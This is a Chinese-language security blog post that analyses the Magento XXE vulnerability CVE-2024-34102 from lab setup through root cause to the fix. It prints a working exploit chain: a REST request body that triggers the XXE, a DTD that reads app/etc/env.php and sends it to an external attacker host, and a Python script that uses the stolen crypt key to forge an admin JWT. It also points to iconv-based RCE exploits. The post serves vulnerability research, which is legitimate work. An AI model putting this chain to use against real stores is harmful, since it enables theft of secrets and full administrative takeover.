最近看到一个XXE漏洞,CVSS给了9.8的高分,这就不得不分析一下了:https://github.com/advisories/GHSA-m8cj-3v68-3cxj
影响版本:
1 2 3 4 5 6 7 = 2.4.4 >= 2.4.6-p1, < 2.4.6-p6 >= 2.4.5-p1, < 2.4.5-p8 < 2.4.4-p9 = 2.4.5 = 2.4.6 = 2.4.7
环境搭建 漏洞复现啥的都还好说,环境是真麻烦
推荐使用:https://github.com/markshust/docker-magento/
1 2 3 4 5 6 mkdir -p ~/Sites/magentocd $_ curl -s https://raw.githubusercontent.com/markshust/docker-magento/master/lib/onelinesetup | bash -s -- magento.test 2.4.7 community
按照教程来,一步到胃
需要改一下hosts
切换到 magento-php 容器,禁用双重认证
1 2 bin/magento module:disable Magento_AdminAdobeImsTwoFactorAuth bin/magento module:disable Magento_TwoFactorAuth
后台路径:https://magento.test/admin 默认管理员账号密码:john.smith/password123
漏洞分析 网上已经写的很详细了:https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102
看到lib/internal/Magento/Framework/Webapi/ServiceInputProcessor.php#_createFromArray
关键的地方就是通过 getConstructorData 方法获取构造函数参数,并使用这些参数创建一个对象,跟进 getConstructorData 方法
获取该类的构造函数,调用$constructor->getParameters()
获取构造函数的参数列表,并遍历参数列表检查$data
中是否有对应的键,如果存在,则会调用 convertValue 方法,参数为键对应的值
1 $res [$parameter ->getName ()] = $this ->convertValue ($data [$parameter ->getName ()], $parameterType );
进行一些判断,然后调用 processComplexTypes 方法
看到又调用到_createFromArray
方法,即会递归调用构造方法
打过CTF的都知道,php存在一些原生类的利用
SimpleXMLElement 触发XXE
1 new SimpleXMLElement ("http://6wovn93g.dnslog.pw/evil.xml" ,2 ,true );
SQLite3 创建空白文件
1 new SQLite3 ('/tmp/mysqlitedb.db' );
最后就是找链了,没啥好说的
漏洞利用 POC已经公开了:https://raw.githubusercontent.com/karkis3c/cves/main/CVE-2024-34102/CVE-2024-34102.yaml
1 2 3 /rest/V1/guest-carts/1/estimate-shipping-methods {"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"http://192.168.111.1:8000/file.xml","dataIsURL":true,"options":12345678}}}}}}
根据文章,尝试读取env.php
1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../app/etc/env.php" > <!ENTITY % dtd SYSTEM "http://192.168.111.1:8888/data.dtd" > %dtd; ]> <data > &send; </data >
使用ftp回显:https://github.com/LandGrey/xxe-ftp-server
base64解码得到key
得到:'crypt' => [ 'key' => 'base64A9myPvYovOhTDAspj4Qmv/fba5LXK+vvycXqwF7iKxU=' ]
JWT Attack REST API:https://developer.adobe.com/commerce/webapi/rest/
看到app/code/Magento/Integration/etc/webapi.xml
我们可以通过/rest/V1/integration/admin/token
接口获取JWT令牌
对应的方法在app/code/Magento/Integration/Model/AdminTokenService.php#createAdminAccessToken
走到了app/code/Magento/JwtUserToken/Model/Issuer.php#create
很明显就是一些参数的获取,其中utypid为2时,为admin类型用户,最后会调用$this->jwtManager->create
创建JWT令牌
这里最重要的就是$settings
,决定了加密算法、密钥等设置
1 $settings = $this ->settingsProvider->prepareSettingsFor ($userContext );
app/code/Magento/JwtUserToken/Model/ConfigurableJwtSettingsProvider.php#prepareAllAccepted
getJwtAlgorithm方法获取当前算法$algorithm
,然后判断是走JWS还是JWE
看到app/code/Magento/JwtUserToken/Model/Config/ConfigReader.php#getJwtAlgorithm
从app/code/Magento/JwtUserToken/etc/config.xml
中可以获取到该值
默认签名算法为HS256,回到 prepareAllAccepted 方法,最终会执行到app/code/Magento/JwtUserToken/Model/SecretBasedJwksFactory.php#createFor
显然$this->keys
就是密钥,该值会从配置crypt/key
中获取,然后前后填充&
字符直到2048个字符
1 2 3 4 5 $this ->keys = preg_split ('/\s+/s' , trim ((string )$deploymentConfig ->get ('crypt/key' )));foreach ($this ->keys as &$key ) { $key = str_pad ($key , 2048 , '&' , STR_PAD_BOTH); }
我们简单执行一下就可以拿到该值了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import jwtimport datetimeiat = datetime.datetime.now() exp = iat + datetime.timedelta(hours=1 ) payload = { "uid" : 1 , "utypid" : 2 , "iat" : int (iat.timestamp()), "exp" : int (exp.timestamp()) } headers = { "kid" : "1" , "alg" : "HS256" } encoded_jwt = jwt.encode(payload, '&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&base64A9myPvYovOhTDAspj4Qmv/fba5LXK+vvycXqwF7iKxU=&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&' , algorithm='HS256' ,headers=headers) print (encoded_jwt)
测试的版本为2.4.7,其他版本可能稍作不同
CVE-2024-2961 https://www.ambionics.io/blog/iconv-cve-2024-2961-p1
文章介绍了几种利用姿势,其中就包括XXE
利用脚本:https://github.com/ambionics/cnext-exploits/
漏洞修复
检查对象是否继承或者实现SimpleXMLElement、DOMElement类。如果为true则直接抛出异常
参考:https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md